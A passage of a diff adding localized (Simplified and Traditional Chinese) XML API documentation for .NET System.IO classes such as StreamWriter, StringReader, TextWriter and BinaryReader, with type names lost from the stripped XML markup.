缓冲区长度减去 小于 。 + + 或 为负。 + 发生 I/O 错误。 + + 为 true 或 缓冲区已满，并且当前编写器已关闭。 + + 为 true 或 缓冲区已满，并且由于 位于基础固定大小流的结尾，缓冲区的内容无法写入该流。 + 1 + + + 将字符串写入流。 + 要写入流的字符串。如果 为 null，则不写入任何内容。 + + 为 true 或 缓冲区已满，并且当前编写器已关闭。 + + 为 true 或 缓冲区已满，并且由于 位于基础固定大小流的结尾，缓冲区的内容无法写入该流。 + 发生 I/O 错误。 + 1 + + + 将字符异步写入该流。 + 表示异步写操作的任务。 + 要写入流中的字符。 + 流编写器已被释放。 + 流编写器正在由其前一次写入操作使用。 + + + 将字符的子数组异步写入该流。 + 表示异步写操作的任务。 + 包含要写入的数据的字符数组。 + 在开始读取数据时缓冲区中的字符位置。 + 要写入的最大字符数。 + + 为 null。 + + plus 大于缓冲区长度。 + + 或 为负。 + 流编写器已被释放。 + 流编写器正在由其前一次写入操作使用。 + + + 将字符串异步写入该流。 + 表示异步写操作的任务。 + 要写入流的字符串。如果 为 null，则不写入任何内容。 + 流编写器已被释放。 + 流编写器正在由其前一次写入操作使用。 + + + 将行终止符异步写入该流。 + 表示异步写操作的任务。 + 流编写器已被释放。 + 流编写器正在由其前一次写入操作使用。 + + + 将后跟行终止符的字符异步写入该流。 + 表示异步写操作的任务。 + 要写入流中的字符。 + 流编写器已被释放。 + 流编写器正在由其前一次写入操作使用。 + + + 将后跟行终止符的字符的子数组异步写入该流。 + 表示异步写操作的任务。 + 要从中写出数据的字符数组。 + 在开始读取数据时缓冲区中的字符位置。 + 要写入的最大字符数。 + + 为 null。 + + plus 大于缓冲区长度。 + + 或 为负。 + 流编写器已被释放。 + 流编写器正在由其前一次写入操作使用。 + + + 将后跟行终止符的字符串异步写入该流。 + 表示异步写操作的任务。 + 要写入的字符串。如果值为 null，则只写入行终止符。 + 流编写器已被释放。 + 流编写器正在由其前一次写入操作使用。 + + + 实现从字符串进行读取的 。 + 2 + + + 初始化从指定字符串进行读取的 类的新实例。 + 应将 初始化为的字符串。 + + 参数为 null。 + + + 释放由 占用的非托管资源，还可以另外再释放托管资源。 + true 表示释放托管资源和非托管资源；false 表示仅释放非托管资源。 + + + 返回下一个可用的字符，但不使用它。 + 一个表示下一个要读取的字符的整数；如果没有更多可读取的字符或该流不支持查找，则为 -1。 + 当前读取器已关闭。 + 2 + + + 读取输入字符串中的下一个字符并将该字符的位置提升一个字符。 + 基础字符串中的下一个字符，或者如果没有更多的可用字符，则为 -1。 + 当前读取器已关闭。 + 2 + + + 读取输入字符串中的字符块，并将字符位置提升 。 + 读入缓冲区的总字符数。如果当前没有那么多字符可用，则总字符数可能会少于所请求的字符数，或者如果已到达基础字符串的结尾，则总字符数为零。 + 此方法返回时，包含指定的字符数组，该数组的 和 ( + - 1) 之间的值由从当前源中读取的字符替换。 + 缓存区中的起始索引。 + 要读取的字符数。 + + 为 null。 + 缓冲区长度减去 小于 。 + + 或 为负。 + 当前读取器已关闭。 + 2 + + + 异步从当前字符串中读取指定数目的字符并从指定索引开始将该数据写入缓冲区。 + 表示异步读取操作的任务。 参数的值包含读入缓冲区的总字节数。如果当前可用字节数少于所请求的字节数，则该结果值可能小于所请求的字节数，或者如果已到达字符串的末尾时，则为 0（零）。 + 此方法返回时，包含指定的字符数组，该数组的 和 ( + - 1) 之间的值由从当前源中读取的字符替换。 + 在 中开始写入的位置。 + 最多读取的字符数。如果在写入指定数目的字符到缓冲区之前，就已经达到字符串的末尾，则方法返回。 + + 为 null。 + + 或 为负。 + + 与 的和大于缓冲区长度。 + 字符串读取器已被释放。 + 编写器正在由其前一次读取操作使用。 + + + 异步从当前字符串中读取指定数目的字符并从指定索引开始将该数据写入缓冲区。 + 表示异步读取操作的任务。 参数的值包含读入缓冲区的总字节数。如果当前可用字节数少于所请求的字节数，则该结果值可能小于所请求的字节数，或者如果已到达字符串的末尾时，则为 0（零）。 + 此方法返回时，包含指定的字符数组，该数组的 和 ( + - 1) 之间的值由从当前源中读取的字符替换。 + 在 中开始写入的位置。 + 最多读取的字符数。如果在写入指定数目的字符到缓冲区之前，就已经达到字符串的末尾，则方法返回。 + + 为 null。 + + 或 为负。 + + 与 的和大于缓冲区长度。 + 字符串读取器已被释放。 + 编写器正在由其前一次读取操作使用。 + + + 从当前字符串中读取一行字符并将数据作为字符串返回。 + 当前字符串中的下一行；或为 null （如果到达了字符串的末尾）。 + 当前读取器已关闭。 + 内存不足，无法为返回的字符串分配缓冲区。 + 2 + + + 从当前字符串中异步读取一行字符并将数据作为字符串返回。 + 表示异步读取操作的任务。 参数的值包含来自字符串读取器的下一行或为 null 如果读取所有字符。 + 下一行中的字符数大于 。 + 字符串读取器已被释放。 + 编写器正在由其前一次读取操作使用。 + + + 读取从当前位置到字符串的结尾的所有字符并将它们作为单个字符串返回。 + 从当前位置到基础字符串的结尾之间的内容。 + 内存不足，无法为返回的字符串分配缓冲区。 + 当前读取器已关闭。 + 2 + + + 异步读取从当前位置到字符串的结尾的所有字符并将它们作为单个字符串返回。 + 表示异步读取操作的任务。 参数值包括字符串来自当前位置到结束字符串字符。 + 字符数大于 。 + 字符串读取器已被释放。 + 编写器正在由其前一次读取操作使用。 + + + 实现一个用于将信息写入字符串的 。该信息存储在基础 中。 + 2 + + + 初始化 类的新实例。 + + + 使用指定的格式控制初始化 类的新实例。 + 控制格式设置的 对象。 + + + 初始化写入指定 的 类的新实例。 + 要写入的 StringBuilder。 + + 为 null。 + + + 初始化写入指定 并具有指定格式提供程序的 类的新实例。 + 要写入的 StringBuilder。 + 控制格式设置的 对象。 + + 为 null。 + + + 释放由 占用的非托管资源，还可以另外再释放托管资源。 + true 表示释放托管资源和非托管资源；false 表示仅释放非托管资源。 + + + 获取将输出写入到其中的 。 + 用来写入输出的 Encoding。 + 1 + + + 异步清理当前编写器的所有缓冲区，使所有缓冲数据写入基础设备。 + 表示异步刷新操作的任务。 + + + 返回基础 。 + 基础 StringBuilder。 + 2 + + + 返回包含迄今为止写入到当前 StringWriter 中的字符的字符串。 + 包含写入到当前 StringWriter 中的字符的字符串。 + 2 + + + 将字符写入该字符串。 + 要写入的字符。 + 编写器已关闭。 + 2 + + + 将字符的子数组写入该字符串。 + 要从中写出数据的字符数组。 + 在开始读取数据缓存中的位置。 + 要写入的最大字符数。 + + 为 null。 + + 或 为负。 + ( + )> 。Length. + 编写器已关闭。 + 2 + + + 将字符串写入当前流。 + 要写入的字符串。 + 编写器已关闭。 + 2 + + + 以异步方式将字符写入流。 + 表示异步写入操作的任务。 + 要写入字符串中的字符。 + 字符串编写器已被释放。 + 字符串编写器正在由其前一次写操作使用。 + + + 将字符的子数组异步写入该字符串。 + 表示异步写入操作的任务。 + 要从中写出数据的字符数组。 + 在开始读取数据缓存中的位置。 + 要写入的最大字符数。 + + 为 null。 + + plus 大于缓冲区长度。 + + 或 为负。 + 字符串编写器已被释放。 + 字符串编写器正在由其前一次写操作使用。 + + + 以异步方式将字符串写入当前流。 + 表示异步写入操作的任务。 + 要写入的字符串。如果 为 null，则不会将任何内容写入文本流。 + 字符串编写器已被释放。 + 字符串编写器正在由其前一次写操作使用。 + + + 以异步方式将后跟行结束符的字符写入该字符串。 + 表示异步写入操作的任务。 + 要写入字符串中的字符。 + 字符串编写器已被释放。 + 字符串编写器正在由其前一次写操作使用。 + + + 将后跟行结束符的字符子数组异步写入该字符串。 + 表示异步写入操作的任务。 + 要从中写出数据的字符数组。 + 在开始读取数据缓存中的位置。 + 要写入的最大字符数。 + + 为 null。 + + plus 大于缓冲区长度。 + + 或 为负。 + 字符串编写器已被释放。 + 字符串编写器正在由其前一次写操作使用。 + + + 将一后跟行结束符的字符串异步写入当前字符串。 + 表示异步写入操作的任务。 + 要写入的字符串。如果值为 null，则只写入行终止符。 + 字符串编写器已被释放。 + 字符串编写器正在由其前一次写操作使用。 + + + 表示可读取有序字符系列的读取器。 + 2 + + + 初始化 类的新实例。 + + + 释放由 对象使用的所有资源。 + + + 释放由 占用的非托管资源，还可以释放托管资源。 + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + 提供一个无数据可供读取的 TextReader。 + 1 + + + 读取下一个字符，而不更改读取器状态或字符源。返回下一个可用字符，而实际上并不从读取器中读取此字符。 + 一个表示下一个要读取的字符的整数；如果没有更多可读取的字符或该读取器不支持查找，则为 -1。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 读取文本读取器中的下一个字符并使该字符的位置前移一个字符。 + 文本读取器中的下一个字符，或为 -1（如果没有更多可用字符）。默认实现将返回 -1。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 从当前读取器中读取指定数目的字符并从指定索引开始将该数据写入缓冲区。 + 已读取的字符数。该数会小于或等于 ，具体取决于读取器中是否有可用的数据。如果调用此方法时没有留下更多的字符供读取，则此方法返回 0（零）。 + 此方法返回时，包含指定的字符数组，该数组的 和 ( + - 1) 之间的值由从当前源中读取的字符替换。 + 在 中开始写入的位置。 + 要读取的最大字符数。如果在将指定数量的字符读入缓冲区之前就已达读取器的末尾，则返回该方法。 + + 为 null。 + 缓冲区长度减去 小于 。 + + 或 为负。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 异步从当前文本读取器中读取指定最大字符数并从指定索引开始将该数据写入缓冲区。 + 表示异步读取操作的任务。 参数的值包含读入缓冲区的总字节数。如果当前可用字节数少于所请求的字节数，则该结果值可能小于所请求的字节数，或者如果已达到文本的末尾时，则为 0（零）。 + 此方法返回时，包含指定的字符数组，该数组的 和 ( + - 1) 之间的值由从当前源中读取的字符替换。 + 在 中开始写入的位置。 + 要读取的最大字符数。如果在将指定数量的字符读入缓冲区之前已到达文本的末尾，则当前方法将返回。 + + 为 null。 + + 或 为负。 + + 与 的和大于缓冲区长度。 + 文本读取器已被释放。 + 编写器正在由其前一次读取操作使用。 + + + 从当前文本读取器中读取指定的最大字符数并从指定索引处开始将该数据写入缓冲区。 + 已读取的字符数。该数字将小于或等于 ，具体取决于是否所有的输入字符都已读取。 + 此方法返回时，此参数包含指定的字符数组，该数组中从 到 ( + -1) 之间的值由从当前源中读取的字符替换。 + 在 中开始写入的位置。 + 要读取的最大字符数。 + + 为 null。 + 缓冲区长度减去 小于 。 + + 或 为负。 + + 是关闭的。 + 发生 I/O 错误。 + 2 + + + 异步从当前文本读取器中读取指定最大字符数并从指定索引开始将该数据写入缓冲区。 + 表示异步读取操作的任务。 参数的值包含读入缓冲区的总字节数。如果当前可用字节数少于所请求的字节数，则该结果值可能小于所请求的字节数，或者如果已达到文本的末尾时，则为 0（零）。 + 此方法返回时，包含指定的字符数组，该数组的 和 ( + - 1) 之间的值由从当前源中读取的字符替换。 + 在 中开始写入的位置。 + 要读取的最大字符数。如果在将指定数量的字符读入缓冲区之前已到达文本的末尾，则当前方法将返回。 + + 为 null。 + + 或 为负。 + + 与 的和大于缓冲区长度。 + 文本读取器已被释放。 + 编写器正在由其前一次读取操作使用。 + + + 从文本读取器中读取一行字符并将数据作为字符串返回。 + 读取器中的下一行，或为 null （如果已读取了所有字符）。 + 发生 I/O 错误。 + 内存不足，无法为返回的字符串分配缓冲区。 + + 是关闭的。 + 下一行中的字符数大于 + 1 + + + 异步读取一行字符并将数据作为字符串返回。 + 表示异步读取操作的任务。 参数的值包含来自文本读取器的下一行或为 null 如果读取所有字符。 + 下一行中的字符数大于 。 + 文本读取器已被释放。 + 编写器正在由其前一次读取操作使用。 + + + 读取从当前位置到文本读取器末尾的所有字符并将它们作为一个字符串返回。 + 一个包含从当前位置到文本读取器末尾的所有字符的字符串。 + 发生 I/O 错误。 + + 是关闭的。 + 内存不足，无法为返回的字符串分配缓冲区。 + 下一行中的字符数大于 + 1 + + + 异步读取从当前位置到文本读取器末尾的所有字符并将它们作为一个字符串返回。 + 表示异步读取操作的任务。 参数值包括字符串来自当前位置到结束文本读取器字符。 + 字符数大于 。 + 文本读取器已被释放。 + 编写器正在由其前一次读取操作使用。 + + + 表示可以编写一个有序字符系列的编写器。此类为抽象类。 + 2 + + + 初始化 类的新实例。 + + + 使用指定的格式提供程序初始化 类的新实例。 + 控制格式设置的 对象。 + + + 存储用于此 TextWriter 的换行符。 + + + 释放由 对象使用的所有资源。 + + + 释放由 占用的非托管资源，还可以释放托管资源。 + 若要释放托管资源和非托管资源，则为 true；若仅释放非托管资源，则为 false。 + + + 当在派生类中重写时，返回用来写输出的该字符编码。 + 用来写入输出的字符编码。 + 1 + + + 清理当前编写器的所有缓冲区，使所有缓冲数据写入基础设备。 + 1 + + + 异步清理当前编写器的所有缓冲区，使所有缓冲数据写入基础设备。 + 表示异步刷新操作的任务。 + 文本编写器已被释放。 + 编写器正在由其前一次写操作使用。 + + + 获取控制格式设置的对象。 + 特定区域性的 对象，或者如果未指定任何其他区域性，则为当前区域性的格式设置。 + 2 + + + 获取或设置由当前 TextWriter 使用的行结束符字符串。 + 当前 TextWriter 的行结束符字符串。 + 2 + + + 提供 TextWriter，它不带任何可写入但无法从中读取的后备存储。 + 1 + + + 将 Boolean 值的文本表示形式写入文本字符串或流。 + 要写入的 Boolean 值。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将字符写入该文本字符串或流。 + 要写入文本流中的字符。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将字符数组写入该文本字符串或流。 + 要写入文本流中的字符数组。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将字符的子数组写入文本字符串或流。 + 要从中写出数据的字符数组。 + 在开始接收数据时缓存中的字符位置。 + 要写入的字符数。 + 缓冲区长度减去 小于 。 + + 参数为 null。 + + 或 为负。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将十进制值的文本表示形式写入文本字符串或流。 + 要写入的十进制值。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将 8 字节浮点值的文本表示形式写入文本字符串或流。 + 要写入的 8 字节浮点值。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将 4 字节有符号整数的文本表示形式写入文本字符串或流。 + 要写入的 4 字节有符号整数。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将 8 字节有符号整数的文本表示形式写入文本字符串或流。 + 要写入的 8 字节有符号整数。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 通过在对象上调用 ToString 方法将此对象的文本表示形式写入文本字符串或流。 + 要写入的对象。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将 4 字节浮点值的文本表示形式写入文本字符串或流。 + 要写入的 4 字节浮点值。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 以异步形式将字符串写入到文本字符串或流。 + 要写入的字符串。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 使用与 方法相同的语义将格式化字符串和新行写入文本字符串或流。 + 复合格式字符串（请参见“备注”）。 + 要格式化和写入的对象。 + + 为 null。 + + 是关闭的。 + 发生 I/O 错误。 + + 不是有效的复合格式字符串。- 或 - 格式项的索引小于 0 （0）、或大于或等于要设置格式的对象数 (用于该方法重载，为一)。 + 1 + + + 使用与 方法相同的语义将格式化字符串和新行写入文本字符串或流。 + 复合格式字符串（请参见“备注”）。 + 要格式化和写入的第一个对象。 + 要格式化和写入的第二个对象。 + + 为 null。 + + 是关闭的。 + 发生 I/O 错误。 + + 不是有效的复合格式字符串。- 或 - 格式项的索引小于 0 （0） 或大于或等于要设置格式的对象数 (用于该方法重载，为二)。 + 1 + + + 使用与 方法相同的语义将格式化字符串和新行写入文本字符串或流。 + 复合格式字符串（请参见“备注”）。 + 要格式化和写入的第一个对象。 + 要格式化和写入的第二个对象。 + 要设置格式和写入的第三个对象。 + + 为 null。 + + 是关闭的。 + 发生 I/O 错误。 + + 不是有效的复合格式字符串。- 或 - 格式项的索引小于 0 （0）、或大于或等于要设置格式的对象数 (用于该方法重载，为三)。 + 1 + + + 使用与 方法相同的语义将格式化字符串和新行写入文本字符串或流。 + 复合格式字符串（请参见“备注”）。 + 一个对象数组，其中包含零个或多个要设置格式和写入的对象。 + + 或 为 null。 + + 是关闭的。 + 发生 I/O 错误。 + + 不是有效的复合格式字符串。- 或 - 格式项的索引小于 0（零）或大于等于 数组的长度。 + 1 + + + 将 4 字节无符号整数的文本表示形式写入文本字符串或流。 + 要写入的 4 字节无符号整数。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将 8 字节无符号整数的文本表示形式写入文本字符串或流。 + 要写入的 8 字节无符号整数。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 以异步形式将字符写入到下一个文本字符串或流。 + 表示异步写入操作的任务。 + 要写入文本流中的字符。 + 文本编写器已被释放。 + 文本编写器正在由其前一次写操作使用。 + + + 以异步形式将字符数组写入到下一个字符串或流。 + 表示异步写入操作的任务。 + 要写入文本流中的字符数组。如果 为 null，则不写入任何内容。 + 文本编写器已被释放。 + 文本编写器正在由其前一次写操作使用。 + + + 将字符的子数组异步写入文本字符串或流。 + 表示异步写入操作的任务。 + 要从中写出数据的字符数组。 + 在开始接收数据时缓存中的字符位置。 + 要写入的字符数。 + + 为 null。 + + plus 大于缓冲区长度。 + + 或 为负。 + 文本编写器已被释放。 + 文本编写器正在由其前一次写操作使用。 + + + 以异步形式将字符串写入到下一字符串或流。 + 表示异步写入操作的任务。 + 要写入的字符串。如果 为 null，则不会将任何内容写入文本流。 + 文本编写器已被释放。 + 文本编写器正在由其前一次写操作使用。 + + + 将行结束符的字符串写入文本字符串或流。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将后面带有行结束符的 Boolean 值的文本表示形式写入文本字符串或流。 + 要写入的 Boolean 值。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将后跟行结束符的字符写入文本字符串或流。 + 要写入文本流中的字符。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将后跟行结束符的字符数组写入文本字符串或流。 + 从其读取数据的字符数组。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将后跟行结束符的字符子数组写入文本字符串或流。 + 从其读取数据的字符数组。 + 在开始读取数据时 中的字符位置。 + 要写入的最大字符数。 + 缓冲区长度减去 小于 。 + + 参数为 null。 + + 或 为负。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将后面带有行结束符的十进制值的文本表示形式写入文本字符串或流。 + 要写入的十进制值。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将后跟行结束符的 8 字节浮点值的文本表示形式写入文本字符串或流。 + 要写入的 8 字节浮点值。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将后跟行结束符的 4 字节有符号整数的文本表示形式写入文本字符串或流。 + 要写入的 4 字节有符号整数。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将后跟行结束符的 8 字节有符号整数的文本表示形式写入文本字符串或流。 + 要写入的 8 字节有符号整数。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 通过在对象上调用 ToString 方法将后跟行结束符的此对象的文本表示形式写入文本字符串或流。 + 要写入的对象。如果 为 null，则只写入行终止符。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将后跟行结束符的 4 字节浮点值的文本表示形式写入文本字符串或流。 + 要写入的 4 字节浮点值。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将后跟行结束符的字符串写入文本字符串或流。 + 要写入的字符串。如果 为 null，则只写入行终止符。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 使用与 方法相同的语义将格式化字符串和新行写入文本字符串或流。 + 复合格式字符串（请参见“备注”）。 + 要格式化和写入的对象。 + + 为 null。 + + 是关闭的。 + 发生 I/O 错误。 + + 不是有效的复合格式字符串。- 或 - 格式项的索引小于 0 （0）、或大于或等于要设置格式的对象数 (用于该方法重载，为一)。 + 1 + + + 使用与 方法相同的语义将格式化字符串和新行写入文本字符串或流。 + 复合格式字符串（请参见“备注”）。 + 要格式化和写入的第一个对象。 + 要格式化和写入的第二个对象。 + + 为 null。 + + 是关闭的。 + 发生 I/O 错误。 + + 不是有效的复合格式字符串。- 或 - 格式项的索引小于 0 （0）、或大于或等于要设置格式的对象数 (用于该方法重载，为二)。 + 1 + + + 使用与 相同的语义写出格式化的字符串和一个新行。 + 复合格式字符串（请参见“备注”）。 + 要格式化和写入的第一个对象。 + 要格式化和写入的第二个对象。 + 要设置格式和写入的第三个对象。 + + 为 null。 + + 是关闭的。 + 发生 I/O 错误。 + + 不是有效的复合格式字符串。- 或 - 格式项的索引小于 0 （0）、或大于或等于要设置格式的对象数 (用于该方法重载，为三)。 + 1 + + + 使用与 相同的语义写出格式化的字符串和一个新行。 + 复合格式字符串（请参见“备注”）。 + 一个对象数组，其中包含零个或多个要设置格式和写入的对象。 + 字符串或对象作为 null 传入。 + + 是关闭的。 + 发生 I/O 错误。 + + 不是有效的复合格式字符串。- 或 - 格式项的索引小于 0（零）或大于等于 数组的长度。 + 1 + + + 将后跟行结束符的 4 字节无符号整数的文本表示形式写入文本字符串或流。 + 要写入的 4 字节无符号整数。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将后跟行结束符的 8 字节无符号整数的文本表示形式写入文本字符串或流。 + 要写入的 8 字节无符号整数。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将行结束符的字符串异步写入文本字符串或流。 + 表示异步写入操作的任务。 + 文本编写器已被释放。 + 文本编写器正在由其前一次写操作使用。 + + + 将后跟行结束符的字符异步写入文本字符串或流。 + 表示异步写入操作的任务。 + 要写入文本流中的字符。 + 文本编写器已被释放。 + 文本编写器正在由其前一次写操作使用。 + + + 将后跟行结束符的字符数组异步写入文本字符串或流。 + 表示异步写入操作的任务。 + 要写入文本流中的字符数组。如果字符数组为 null，则仅写入行结束符。 + 文本编写器已被释放。 + 文本编写器正在由其前一次写操作使用。 + + + 将后跟行结束符的字符子数组异步写入文本字符串或流。 + 表示异步写入操作的任务。 + 要从中写出数据的字符数组。 + 在开始接收数据时缓存中的字符位置。 + 要写入的字符数。 + + 为 null。 + + plus 大于缓冲区长度。 + + 或 为负。 + 文本编写器已被释放。 + 文本编写器正在由其前一次写操作使用。 + + + 将后跟行结束符的字符串异步写入文本字符串或流。 + 表示异步写入操作的任务。 + 要写入的字符串。如果值为 null，则只写入行终止符。 + 文本编写器已被释放。 + 文本编写器正在由其前一次写操作使用。 + + + \ No newline at end of file diff --git a/packages/System.IO.4.3.0/ref/netcore50/zh-hant/System.IO.xml b/packages/System.IO.4.3.0/ref/netcore50/zh-hant/System.IO.xml new file mode 100644 index 0000000..68602e9 --- /dev/null +++ b/packages/System.IO.4.3.0/ref/netcore50/zh-hant/System.IO.xml @@ -0,0 +1,2246 @@ + + + + System.IO + + + + 以特定的編碼方式，將基本資料型別當做二進位值讀取。 + 2 + + + 根據指定的資料流並使用 UTF-8 編碼方式，初始化 類別的新執行個體。 + 輸入資料流。 + 資料流不支援讀取，為 null，或已經關閉。 + + + 根據指定的資料流和字元編碼，初始化 類別的新執行個體。 + 輸入資料流。 + 要使用的字元編碼。 + 資料流不支援讀取，為 null，或已經關閉。 + + 為 null。 + + + 根據指定的資料流和特定的字元編碼，初始化 類別的新執行個體，並選擇性地保留資料流開啟狀態。 + 輸入資料流。 + 要使用的字元編碼。 + true 表示在處置 物件之後，將資料流保持開啟；否則為 false。 + 資料流不支援讀取，為 null，或已經關閉。 + + 或 為 null。 + + + 公開 之基礎資料流的存取。 + 與 BinaryReader 相關聯的基礎資料流。 + 2 + + + 將 類別目前的執行個體所使用的資源全部釋出。 + + + 釋放 類別所使用的 Unmanaged 資源，並選擇性地釋放 Managed 資源。 + true 表示釋放 Managed 和 Unmanaged 資源，false 則表示只釋放 Unmanaged 資源。 + + + 將從資料流讀取的指定位元組數目填入內部緩衝區。 + 要讀取的位元組數。 + 在 可讀取之前到達資料流末端。 + 發生 I/O 錯誤。 + 所要求的 大於內部緩衝區大小。 + + + 傳回下一個可用字元，而不前移位元組或字元的位置。 + 下一個可用的字元；如果沒有更多字元可供使用或資料流不支援搜尋，則為 -1。 + 發生 I/O 錯誤。 + 無法使用針對資料流選取的 將目前的字元解碼到內部字元緩衝區。 + 2 + + + 按照所使用的 Encoding 和從資料流讀取的特定字元，自基礎資料流讀取字元，並將資料流中目前的位置往前移。 + 輸入資料流的下一個字元；如果目前沒有字元可供使用，則為 -1。 + 發生 I/O 錯誤。 + 已關閉資料流。 + 2 + + + 由位元組陣列中指定點開始，讀取資料流中的指定位元組數。 + 要讀入 的位元組數。如果沒有足夠的位元組數，這可能會小於要求的位元組數；如果已到達資料流末端，則可能為零。 + 要讀取資料的緩衝區。 + 開始讀取資料到緩衝區的緩衝區起始點。 + 要讀取的位元組數。 + 緩衝區長度減去 小於 。-或-欲讀取的解碼字元數大於 。如果 Unicode 解碼器傳回後援字元或 Surrogate 組，就會發生這個情況。 + + 為 null。 + + 或 為負值。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 2 + + + 由字元陣列中的指定點開始，從資料流讀取指定字元數。 + 讀入緩衝區的字元總數。如果目前沒有足夠的位元組數，這可能會小於要求的位元組數；如果已到達資料流末端，則可能為零。 + 要讀取資料的緩衝區。 + 開始讀取資料到緩衝區的緩衝區起始點。 + 要讀取的字元數。 + 緩衝區長度減去 小於 。-或-欲讀取的解碼字元數大於 。如果 Unicode 解碼器傳回後援字元或 Surrogate 組，就會發生這個情況。 + + 為 null。 + + 或 為負值。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 2 + + + 以壓縮格式讀取 32 位元整數。 + 壓縮格式的 32 位元整數。 + 已到達資料流的末端。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 資料流已損毀。 + + + 自目前資料流讀取 Boolean 值，並將資料流中目前的位置往前移一個位元組。 + 如果位元組為非零值，則為 true；否則為 false。 + 已到達資料流的末端。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 2 + + + 自目前資料流讀取下一個位元組，並將資料流中目前的位置往前移一個位元組。 + 自目前資料流讀取的下一個位元組。 + 已到達資料流的末端。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 2 + + + 將目前資料流中的指定位元組數讀入位元組陣列中，並將目前的位置前移該位元組數。 + 位元組陣列，含有自基礎資料流讀取的資料。如果已到達資料流末端，這可能會小於要求的位元組數。 + 要讀取的位元組數。這個值必須是 0 或非負數，否則會發生例外狀況。 + 欲讀取的解碼字元數大於 。如果 Unicode 解碼器傳回後援字元或 Surrogate 組，就會發生這個情況。 + 發生 I/O 錯誤。 + 已關閉資料流。 + + 為負值。 + 2 + + + 按照所使用的 Encoding 和從資料流讀取的特定字元，自目前資料流讀取下一個字元，並將資料流中目前的位置往前移。 + 自目前資料流讀取的字元。 + 已到達資料流的末端。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 讀取到 Surrogate 字元 + 2 + + + 讀取目前資料流中的指定字元數，並將資料傳入字元陣列中，然後依據使用的 Encoding 以及正在從資料流中讀取的指定字元，前移目前的位置。 + 字元陣列，含有從基礎資料流讀取的資料。如果已到達資料流末端，這可能會小於要求的字元數。 + 要讀取的字元數。 + 欲讀取的解碼字元數大於 。如果 Unicode 解碼器傳回後援字元或 Surrogate 組，就會發生這個情況。 + 已關閉資料流。 + 發生 I/O 錯誤。 + + 為負值。 + 2 + + + 自目前資料流讀取十進位值，並將資料流的目前位置前移十六個位元組。 + 自目前資料流讀取的十進位值。 + 已到達資料流的末端。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 2 + + + 自目前資料流讀取 8 位元組浮點數值，並將資料流目前位置前移八個位元組。 + 自目前資料流讀取的 8 位元組浮點數值。 + 已到達資料流的末端。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 2 + + + 自目前資料流讀取 2 位元組帶正負號的整數，並將資料流目前位置前移兩個位元組。 + 自目前資料流讀取的 2 位元組帶正負號的整數。 + 已到達資料流的末端。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 2 + + + 自目前資料流讀取 4 位元組帶正負號的整數，並將資料流目前位置前移四個位元組。 + 自目前資料流讀取的 4 位元組帶正負號的整數。 + 已到達資料流的末端。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 2 + + + 自目前資料流讀取 8 位元組帶正負號的整數，並將資料流目前位置前移八個位元組。 + 自目前資料流讀取的 8 位元組帶正負號的整數。 + 已到達資料流的末端。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 2 + + + 自資料流讀取帶正負號的位元組，並將資料流目前位置前移一個位元組。 + 自資料流讀取的帶正負號的位元組。 + 已到達資料流的末端。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 2 + + + 自目前資料流讀取 4 位元組浮點數值，並將資料流目前位置前移四個位元組。 + 自目前資料流讀取的 4 位元組浮點數值。 + 已到達資料流的末端。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 2 + + + 自目前資料流讀取字串。字串會以長度為前置字元，每次以七位元編碼為一整數。 + 讀取的字串。 + 已到達資料流的末端。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 2 + + + 以位元組由小到大的編碼方式自目前資料流讀取 2 位元組不帶正負號的整數，並將資料流目前位置前移兩個位元組。 + 自這個資料流讀取 2 位元組不帶正負號的整數。 + 已到達資料流的末端。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 2 + + + 自目前資料流讀取 4 位元組不帶正負號的整數，並將資料流目前位置前移四個位元組。 + 自這個資料流讀取 4 位元組不帶正負號的整數。 + 已到達資料流的末端。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 2 + + + 自目前資料流讀取 8 位元組不帶正負號的整數，並將資料流目前位置前移八個位元組。 + 自這個資料流讀取 8 位元組不帶正負號的整數。 + 已到達資料流的末端。 + 發生 I/O 錯誤。 + 已關閉資料流。 + 2 + + + 以二進位方式將基本型別 (Primitive Type) 